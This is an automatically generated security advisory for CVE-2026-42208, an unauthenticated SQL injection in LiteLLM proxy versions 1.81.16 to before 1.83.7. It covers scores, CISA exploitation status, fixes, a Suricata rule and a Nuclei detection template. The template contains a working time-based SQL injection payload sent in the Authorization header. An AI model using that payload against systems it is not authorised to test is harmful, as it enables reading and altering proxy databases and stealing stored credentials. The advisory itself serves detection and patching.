CVE-2026-42208: BerriAI LiteLLM SQL Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-14 14:10 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter. An unauthenticated attacker could send a specially crafted Authorization header to any LLM API route (for example POST /chat/completions) and reach this query through the proxy’s error-handling path. An attacker could read data from the proxy’s database and may be able to modify it, leading to unauthorised access to the proxy and the credentials it manages. This issue has been patched in version 1.83.7.
Description quoted from the CVE record (assigned by GitHub_M, published 2026-05-08).
Weakness: CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’); Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2026-05-08
- US federal deadline
- 2026-05-11
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template, 11 code repositories and 1 research write-up naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 23 references on Exploit Observer
Live scores
- EPSS
- 0.894
very likely to be attacked soon - VEDAS
- 0.979
strong exploit evidence - On CISA KEV
- Yes, since 2026-05-08
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| BerriAI litellm | version >= 1.81.16, < 1.83.7 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc
- https://nvd.nist.gov/vuln/detail/CVE-2026-42208
How to detect it
Nuclei template (active check)
LiteLLM - SQL Injection
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter.
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (GET /ui/login/?, POST /v1/chat/completions, POST /v1/chat/completions); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-42208.yamlShow the template (63 lines)
id: CVE-2026-42208
info:
name: "LiteLLM - SQL Injection"
author: vedas-arpsyndicate
severity: critical
description: |
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.81.16 to
before version 1.83.7, a database query used during proxy API key checks mixed the caller-supplied key value
into the query text instead of passing it as a separate parameter.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-42208&match=exact
- https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-42208
cwe-id: CWE-89
metadata:
verified: false
tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /ui/login/? HTTP/1.1
Host: {{Hostname}}
- |
POST /v1/chat/completions HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer invalid_token_baseline_test
{}
redirects: true
matchers:
- type: dsl
dsl:
- 'contains(body_1, "litellm-asset-prefix")'
- 'contains(content_type_2, "application/json")'
- 'status_code_2 == 401'
condition: and
internal: true
- raw:
- |
@timeout: 30s
POST /v1/chat/completions HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --
{}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'duration >= 8'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-42208 LiteLLM - SQL Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-42208 LiteLLM - SQL Injection"; flow:established,to_server; http.uri; content:"/v1/chat/completions"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-42208; reference:url,https://www.exploit.observer/?keyword=CVE-2026-42208&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact; sid:1010288; rev:1;)
CVE-2026-42208.rules on GitHub
Advisories on this CVE
- LiteLLM proxy SQL injection CVE-2026-42208: unauthenticated reads of virtual keys and provider credentials (full advisory)
- LiteLLM proxy SQL injection (CVE-2026-42208) (8 May 2026)
References
Technical analysis and advisories
- RHBZ#2463965 (issue-tracking, x_refsource_REDHAT)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42208 (government-resource)
Other references
- https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc (x_refsource_CONFIRM)
- https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable (x_refsource_MISC)
- https://access.redhat.com/security/cve/CVE-2026-42208 (vdb-entry, x_refsource_REDHAT)
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42208.json (x_sadp-csaf-vex)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners